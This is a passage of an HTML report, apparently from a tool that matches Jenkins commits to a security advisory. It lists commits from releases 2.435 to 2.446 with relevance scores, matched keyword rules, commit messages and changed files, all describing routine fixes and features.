core/src/main/resources/lib/hudson/buildProgressBar_tr.properties + + core/src/main/resources/lib/hudson/buildProgressBar_zh_TW.properties + + core/src/main/resources/lib/hudson/progressBar.jelly + + core/src/main/resources/lib/layout/progressiveRendering.jelly + + core/src/main/resources/lib/layout/progressiveRendering/progressiveRendering.js + + war/src/main/scss/components/_index.scss + + war/src/main/scss/components/_progress-bar.scss + + war/src/main/webapp/scripts/hudson-behavior.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Allow update sites to define a custom URL for wizard plugin... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 824f64c23e52e5c765cc7604414740aab3436f8d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: allow, system
      +
    • + +
    • +
      The commit message references some github issue: 8951
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Allow update sites to define a custom URL for wizard plugin suggestion (#8951) * currently suggested plugins list as setup time is hardcoded, we can make it configurable Signed-off-by: Olivier Lamy <olamy@apache.org> * add new method to UpdateSite to avoid using System property Signed-off-by: Olivier Lamy <olamy@apache.org> * Update core/src/main/java/hudson/model/UpdateSite.java Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com> --------- Signed-off-by: Olivier Lamy <olamy@apache.org> Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/UpdateSite.java + + core/src/main/java/jenkins/install/SetupWizard.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + readonly mode for f:select (#8955) * readonly mode for f:select when... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5f0e704ea26b430e117b32a5d7ea3658779edea8 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: replace, read
      +
    • + +
    • +
      The commit message references some github issue: 8955
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      readonly mode for f:select (#8955) * readonly mode for f:select when enabling readonly mode with the extended read permissions plugin the places where an f:select is used are not replaced. * apply prettier * apply lint issues
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/lib/form/select.jelly + + core/src/main/resources/lib/form/select/select.js + + war/src/main/webapp/scripts/hudson-behavior.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-71326] - Support colored badges in breadcrumb dropdown... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8b949243a92cc0ff89742be6b509920db0e0a456 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read
      +
    • + +
    • +
      The commit message references some github issue: 8853
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-71326] - Support colored badges in breadcrumb dropdown (#8853) * [JENKINS-71326] - Support colored badges in breadcrumb dropdown * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Creating a badge jelly view. * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Adding class attribute to the badge jelly. * Apply suggestions from code review Co-authored-by: Alexander Brandes <brandes.alexander@web.de> * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Lint and license Fix --------- Co-authored-by: Alexander Brandes <brandes.alexander@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/management/Badge.java + + core/src/main/resources/hudson/model/ManageJenkinsAction/index.jelly + + core/src/main/resources/lib/layout/badge.jelly + + core/src/main/resources/lib/layout/task.jelly + + war/src/main/js/components/dropdowns/templates.js + + war/src/main/scss/components/_badges.scss + + war/src/main/scss/components/_dropdowns.scss + + war/src/main/scss/components/_section.scss + + war/src/main/scss/components/_side-panel-tasks.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fix UI for plugin manager's Advanced settings with SystemRead... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 76df1676462b5ee9e98ede2d6328ee865f798c8b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read, system
      +
    • + +
    • +
      The commit message references some github issue: 8942
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fix UI for plugin manager's Advanced settings with SystemRead (#8942) Fix UI for plugin manager's Advanced settings with ExtendedRead Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/PluginManager/advanced.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Do not offer impossible Cloud options to users with SystemRead... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d5c9e6a9d7624210ef0e952622990af4d25882cc +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read, system
      +
    • + +
    • +
      The commit message references some github issue: 8943
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Do not offer impossible Cloud options to users with SystemRead (#8943) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/agents/CloudSet/index.jelly + + core/src/main/resources/jenkins/agents/CloudSet/index.properties + + core/src/main/resources/jenkins/agents/CloudSet/index_fr.properties + + core/src/main/resources/jenkins/agents/CloudSet/index_tr.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + fix margin in readonly mode (#8938) * fix margin in readonly mode... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.445 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 90c3a392025bd905a2705059eaa036474b52ee9e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read, system
      +
    • + +
    • +
      The commit message references some github issue: 8938
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      fix margin in readonly mode (#8938) * fix margin in readonly mode when readonly mode is enabled with systemread or extended read permissions, some fields are wrapped in a `pre` tag. By default `pre` has a bigger margin-bottom . But in readonly mode we already have a margin in a wrapping div which leads to unnecessary large space after those fields. So we should remove the margin-bottom for this * fix style
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/scss/base/_style.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72627] Improve locale parsing for loading of localised help... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + abf3b41ab33f34436cb61b84fe3d5f03d53a6bd5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      The commit message references some github issue: 8912
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72627] Improve locale parsing for loading of localised help files (#8912) * fix only use preferred accept-language Signed-off-by: BobDu <i@bobdu.cc> * revert asterisk imports Signed-off-by: BobDu <i@bobdu.cc> * add unit test getStaticHelpUrl Signed-off-by: BobDu <i@bobdu.cc> * improve unit test getStaticHelpUrl Signed-off-by: BobDu <i@bobdu.cc> * rename assertThatLocaleResourceIs method Signed-off-by: BobDu <i@bobdu.cc> --------- Signed-off-by: BobDu <i@bobdu.cc>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Descriptor.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72509] show error message in progressive logs on 4xx status... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d7be82af3b7aee63d6ebd9c7008d1a9910070cdb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read
      +
    • + +
    • +
      The commit message references some github issue: 8907
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72509] show error message in progressive logs on 4xx status codes (#8907) * [JENKINS-72509] avoid broken log when deleting job/agent when accessing the log of a running build and the job gets deleted or someone removes read permissions (without discover) the log just appends the output of the call to logText/progressiveHtml which is the 404 message from Jenkins. The same happens when one accesses the log of an agent and the agent is deleted. This is due to only checking for 403 status and ignoring other status codes from the 400 range. * do not reload but print an error * apply prettier
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/lib/hudson/progressive-text.js + + core/src/main/resources/lib/hudson/progressiveText.jelly + + core/src/main/resources/lib/hudson/progressiveText.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-71700] avoid stacktrace from artifactarchiver when no... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ef378cc38d5b0c0e0065a64fcbd4faf8c5b95feb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      The commit message references some github issue: 8908
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-71700] avoid stacktrace from artifactarchiver when no artifacts are found (#8908) [JENKINS-71700] avoid stacktrace in artifactarchiver when no artifacts When the validateAntFileMask fails because there are too many files or it takes too long an exception is thrown that was intendend to be catched in the ArtifactArchiver. But when the build happens on an agent and not the built-in, this didn't work as the the exception is deeply wrapped in 2 other exceptions. As printing this information is of no real help, just catch all exceptions and print them to the jenkins log but not the build log. Any other message might just be misleading as one could get the impression that jenkins stopped after looking at 10000 files and only because of this no files where archived but this is not the case. At this place the ArtifactArchiver is just trying to give a hint why it didn't archive anything.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/tasks/ArtifactArchiver.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Replace reference to ui-samples-plugin with design-library in... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c32f4dfc7ffb2b5f1e6f1745a503572b2d0e420a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: replace
      +
    • + +
    • +
      The commit message references some github issue: 8909
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Replace reference to ui-samples-plugin with design-library in javadoc (#8909) ui-samples-plugin is suspended and has been replaced with design-library: > Plugin distribution has been suspended, see https://groups.google.com/g/jenkinsci-dev/c/2vGn3t9gZ0Y for details. https://plugins.jenkins.io/ui-samples-plugin/ https://github.com/jenkinsci/design-library-plugin/pull/14
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/util/ProgressiveRendering.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Replace cobertura with coverage plugin in plugin installation wizard... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4ec1639b9a9562028f2834da6c42e0ac962aad5f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: replace
      +
    • + +
    • +
      The commit message references some github issue: 8879
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Replace cobertura with coverage plugin in plugin installation wizard (#8879) Replace cobertura with coverage plugin. The coverage plugin combines all coverage tools into a single plugin. See https://github.com/jenkinsci/coverage-plugin.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/install/platform-plugins.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-71025] Remove inline JS from configure-common (#8866) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f640efc087add43d31fdd92cd24be99af99fa4f5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: replace
      +
    • + +
    • +
      The commit message references some github issue: 6861, 8866
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-71025] Remove inline JS from configure-common (#8866) * [JENKINS-71025] Remove inline JS from configure-common replaces #6861 * remove inline jd for jdk check
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/AbstractProject.java + + core/src/main/resources/hudson/model/AbstractProject/configure-common.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` (#8874)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a665b45ba5862110d8b174d654c28541e23bedf9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      The commit message references some github issue: 8874
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` (#8874) * Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` * Might as well handle `containsSymLink` the same way. Will never matter for artifact display with either the built-in or pluggable managers, but could improve performance of workspace listing with slow agent connections. * Checkstyle --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/DirectoryBrowserSupport.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72579] Adjust heap dump file name for compatibility with... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a32f24c4498950c5d74ee0ee438f79ef5867e755 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      The commit message references some github issue: 8881
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72579] Adjust heap dump file name for compatibility with OpenJDK file suffix requirements (#8881)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/util/RemotingDiagnostics.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Allow plugins to override boot failure view (#8442) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e859e9cd9c87a34153bc02c02cdfc174daa5c0e3 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: allow
      +
    • + +
    • +
      The commit message references some github issue: 8442
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Allow plugins to override boot failure view (#8442)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/WebAppMain.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Improve crash consistency on Linux (#8815) * Improve crash... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 444f2de993786310f998b4432e2550b35e1d7a45 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    • +
      The commit message references some github issue: 8815
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Improve crash consistency on Linux (#8815) * Improve crash consistency * `fsync` the correct parent directory * More flexibility * Add reference to man page * fix formatting --------- Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/util/AtomicFileWriter.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + allow to change the icon size of the node overview table (#8802)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f06a954ea4ef114ff30612f6d4c21be53364aeaf +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: allow
      +
    • + +
    • +
      The commit message references some github issue: 8802
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      allow to change the icon size of the node overview table (#8802) make icon size of node overview page changeable similar to the list of projects on the start page of Jenkins the icon size of the overview page of nodes can now be changed.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/model/ComputerSet/index.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72370][JENKINS-11889] fix SimpleScheduledRetentionStrategy... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3a92445c2bc80a4c9e7c6fdf87731be109851405 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: follow, controller
      +
    • + +
    • +
      The commit message references some github issue: 8717
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72370][JENKINS-11889] fix SimpleScheduledRetentionStrategy with inbound agents (#8717) by implementing `isAcceptingTasks` the availability strategy ensures that no builds can start when the agent should not do anything. The current behaviour with an inbound agent is that the strategy disconnects the agent, just to get connected again by the agents java process followed by a disconnection a minute later and so on. After it is connected, the agent is actually accepting tasks. Additionally the change will only disconnect the agent when the controller the controller can itself launch the agent, this means inbound agents are not connected, to avoid playing jojo. The agent will just not accept new tasks for execution. The change also avoids the problem in [JENKINS-11889] for outbound agents where the accepting tasks of an agents seems to be not reset when changing the availability strategy to always on.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/slaves/SimpleScheduledRetentionStrategy.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-71578] allow making sidepanel sticky (#8269) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a82293567f965c793dbef71be6e4522c1903cd0e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: allow
      +
    • + +
    • +
      The commit message references some github issue: 8269
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-71578] allow making sidepanel sticky (#8269)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/PluginManager/sidepanel.jelly + + core/src/main/resources/hudson/model/Job/configure.jelly + + core/src/main/resources/lib/layout/layout.jelly + + core/src/main/resources/lib/layout/side-panel.jelly + + war/src/main/js/section-to-sidebar-items.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72371] rework node monitor configuration (#8719) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7258cad41408a35590ab85ab28cad9e9ffe4aeda +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: disable
      +
    • + +
    • +
      The commit message references some github issue: 8719
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72371] rework node monitor configuration (#8719) * [JENKINS-72371] rework node monitor configuration This PR reworks the way node monitors are configured. It ensures that also monitors which are set to ignored, can be configured. Previously, there was a checkbox before each monitor, where the behaviour was not totally clear. It meant that the monitor is ignored but still collecting data and not disabled as one might think. But when the monitor was disabled any configuration was lost and default values were used. * improve description * fix formatting * add since
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/ComputerSet.java + + core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java + + core/src/main/java/hudson/node_monitors/ArchitectureMonitor.java + + core/src/main/java/hudson/node_monitors/ClockMonitor.java + + core/src/main/java/hudson/node_monitors/NodeMonitor.java + + core/src/main/java/hudson/node_monitors/ResponseTimeMonitor.java + + core/src/main/java/hudson/node_monitors/SwapSpaceMonitor.java + + core/src/main/resources/hudson/model/ComputerSet/configure.jelly + + core/src/main/resources/hudson/model/ComputerSet/configure.properties + + core/src/main/resources/hudson/node_monitors/ArchitectureMonitor/help.html + + core/src/main/resources/hudson/node_monitors/ClockMonitor/help.html + + core/src/main/resources/hudson/node_monitors/NodeMonitor/configure.jelly + + core/src/main/resources/hudson/node_monitors/NodeMonitor/help-ignored.html + + core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/help.html + + core/src/main/resources/hudson/node_monitors/SwapSpaceMonitor/help.html + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72157] ensure uptime is independent of system clock (#8771) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0a7ab5f06eee33802b518f83bf8b8969155ae464 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: system
      +
    • + +
    • +
      The commit message references some github issue: 8771
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72157] ensure uptime is independent of system clock (#8771)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/model/Uptime.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-60866][JENKINS-71051][JENKINS-71048] Un-inline 'Build Now'... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 38d31c1751f582eccf85feb2c66eb0eeb3b6e77b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      The commit message references some github issue: 7635
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-60866][JENKINS-71051][JENKINS-71048] Un-inline 'Build Now' JS (#7635) * [JENKINS-60866] Un-inline 'Build Now' JS * Fix formatting * Use MorphTagLibrary to simplify API * Update docs for l:task attributes * This is a collosal waste of time Copied from 8aee10ea8a1c03c71868bd116e08efa1c9bbc1af, this is just stupid * Rename adjunct file, restructure to work around broken formatter * Exclude all documented attributes except data-* * Fix onclick behavior * Address review feedback --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/lib/hudson/project/configurable.jelly + + core/src/main/resources/lib/hudson/project/configurable/configurable.js + + core/src/main/resources/lib/layout/task.jelly + + core/src/main/resources/lib/layout/task/task.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency stylelint to v16 (#8767) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6fcfb189060c74f05c3d193e013b84acc67fff58 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: controller
      +
    • + +
    • +
      The commit message references some github issue: 8767
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency stylelint to v16 (#8767) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/src/main/scss/components/_row-selection-controller.scss + + war/src/main/scss/form/_layout.scss + + war/src/main/scss/form/_search-bar.scss + + war/src/main/scss/pages/_icon-legend.scss + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add `ExtensionList.lookupFirst` convenience method. (#8735) * Add... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0f0d81b306c6452621f29bd3b0493662e12ef009 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: allow
      +
    • + +
    • +
      The commit message references some github issue: 8735
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add `ExtensionList.lookupFirst` convenience method. (#8735) * Add `ExtensionList.lookupFirst` convenience method. When introducing an extension point that is meant to allow overriding a default behaviour with another implementation, generally the caller only cares about looking up only one implementation, the one with the highest ordinal. * Fix javadoc Co-authored-by: Jesse Glick <jglick@cloudbees.com> --------- Co-authored-by: Jesse Glick <jglick@cloudbees.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
